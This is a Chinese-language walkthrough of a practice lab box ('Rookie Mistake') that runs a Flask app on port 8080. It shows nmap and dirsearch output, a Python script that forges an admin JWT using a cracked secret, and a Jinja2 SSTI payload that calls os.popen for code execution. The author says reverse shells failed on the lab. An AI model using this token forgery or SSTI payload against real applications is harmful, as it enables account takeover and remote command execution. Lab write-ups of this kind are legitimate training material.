Rookie Mistake pg walkthrough Intermediate jwt+ssti
nmap
┌──(root㉿kali)-[~/lab]
└─# nmap -p- -A 192.168.189.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 00:11 UTC
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 00:12 (0:00:17 remaining)
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 00:14 (0:01:19 remaining)
Nmap scan report for 192.168.189.221
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
8080/tcp open http-proxy Werkzeug/2.1.2 Python/3.8.10
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Tue, 26 Nov 2024 00:12:25 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2469
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="UTF-8">
| <title>Mike's upcoming dynamic website!</title>
| <!-- Mobile Specific Meta -->
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <!--[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]-->
| <!-- Bootstrap -->
| <link href="https://learning-zone.github.io/website-templates/indus-free-coming-soon-bootstrap-responsive-template/assets/css/bootstrap.css" rel="stylesheet">
| <!-- Custom stylesheet -->
| <link rel="stylesheet" href="https://learning-zone.github.io/website-templates/indus-free-coming-soon-bootstrap-responsive-template/assets/css/style.css">
| <link rel="styleshe
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Tue, 26 Nov 2024 00:12:25 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: Mike's upcoming dynamic website!
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=11/26%Time=67451269%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,A54,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2
SF:\x20Python/3\.8\.10\r\nDate:\x20Tue,\x2026\x20Nov\x202024\x2000:12:25\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x202469\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n\x
SF:20\x20<head>\x20\x20\x20\x20\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\
SF:">\n\x20\x20\x20\x20<title>Mike's\x20upcoming\x20dynamic\x20website!</t
SF:itle>\n\x20\x20\x20\x20\n\x20\x20\x20\x20<!--\x20Mobile\x20Specific\x20
SF:Meta\x20-->\x20\x20\x20\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20
SF:content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x2
SF:0<!--\[if\x20IE\]><meta\x20http-equiv='X-UA-Compatible'\x20content='IE=
SF:edge,chrome=1'><!\[endif\]-->\n\n\x20\x20\x20\x20<!--\x20Bootstrap\x20-
SF:->\n\x20\x20\x20\x20<link\x20href=\"https://learning-zone\.github\.io/w
SF:ebsite-templates/indus-free-coming-soon-bootstrap-responsive-template/a
SF:ssets/css/bootstrap\.css\"\x20rel=\"stylesheet\">\n\n\x20\x20\x20\x20<!
SF:--\x20Custom\x20stylesheet\x20-->\n\x20\x20\x20\x20<link\x20rel=\"style
SF:sheet\"\x20href=\"https://learning-zone\.github\.io/website-templates/i
SF:ndus-free-coming-soon-bootstrap-responsive-template/assets/css/style\.c
SF:ss\">\x20\n\x20\x20\x20\x20<link\x20rel=\"styleshe")%r(HTTPOptions,C7,"
SF:HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.1
SF:0\r\nDate:\x20Tue,\x2026\x20Nov\x202024\x2000:12:25\x20GMT\r\nContent-T
SF:ype:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20OPTIONS,\x20G
SF:ET\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequ
SF:est,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01/
SF:/EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/s
SF:trict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;cha
SF:rset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response
SF:</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPSta
SF:tus\.BAD_REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\
SF:x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/26%OT=22%CT=1%CU=38022%PV=Y%DS=4%DC=T%G=Y%TM=674
OS:512D1%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A
OS:)OPS(O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M57
OS:8ST11NW7%O6=M578ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88
OS:)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 70.00 ms 192.168.45.1
2 69.98 ms 192.168.45.254
3 70.96 ms 192.168.251.1
4 71.02 ms 192.168.189.221
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.39 seconds
dirsearch
[00:14:59] Starting:
[00:15:42] 308 - 253B - /edit -> http://192.168.189.221:8080/edit/
[00:15:55] 308 - 255B - /login -> http://192.168.189.221:8080/login/
[00:15:55] 200 - 3KB - /login/
[00:16:16] 308 - 257B - /signup -> http://192.168.189.221:8080/signup/
访问8080首页就可以发现很有意思的提示
他说这个站点是他要python flask 结合jwt写的测试站
更具dirsearch 扫到的结果发现了 注册页面
随便注册个用户
这个页面比较有意思 /edit 但是咱们现在还没登录 所以改密码他会显示token错误
进入login界面进行登录看看
我先尝试了admin用户 他会说用户不存在 这个点可以用来枚举用户
尝试登录刚刚自己的注册账号 显示成功
第一反应是jwt结合sql注入 或者ssti
尝试了无加密算法绕过 不行
看来要找到秘钥才能改写密码了
尝试爆破jwt秘钥
写了一个生成jwt的脚本这里我们尝试将用户名改成admin 看看回显是否会变成admin
import sys
import hmac
import hashlib
import base64
import json
import requests
username = str("brian")
secret_key = "ilovejwt"
header = json.dumps({"typ":"JWT","alg":"HS256"}).replace(" ","").encode()
#要去除空格
payload = json.dumps({"username":"admin","public_id":"dbbf960e-d509-4f97-9a00-d8358ac69375","exp":1732586339}
).replace(" ","").encode()
b64_header = base64.urlsafe_b64encode(header).decode().rstrip("=")
b64_payload = base64.urlsafe_b64encode(payload).decode().rstrip("=")
signature = hmac.new(
key=secret_key.encode(),
msg=f'{b64_header}.{b64_payload}'.encode(),
digestmod=hashlib.sha256
).digest()
JWT = f'{b64_header}.{b64_payload}.{base64.urlsafe_b64encode(signature).decode()}'
# COOKIES = {
# 'session': JWT.rstrip("=")
# }
#
# headers = {
# 'Host': 'scarlet.local'
# }
# rese = requests.get("http://scarlet.local/portal", cookies = COOKIES, headers=headers)
print(JWT.rstrip("="))
实现了用户伪造
那么接下来我们看看有无sql注入漏洞以及ssti
sql注入测试过滤完全没有
接下来尝试ssti
将username改成{{7*7}}
发现成功执行了
那接下来就好办了 这就是个标准的ssti注入
发现可rce代码
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('ls').read() }}
但是他靶场又出问题了
按道理我们已经可以随意执行代码了但是 各种反弹shell都不管用 而且只能执行单一命令连 ls -al都执行不了我就不知道出啥问题了
我按照官方wp走一遍也不行
太多问题了这靶场不过总体思路明白了不错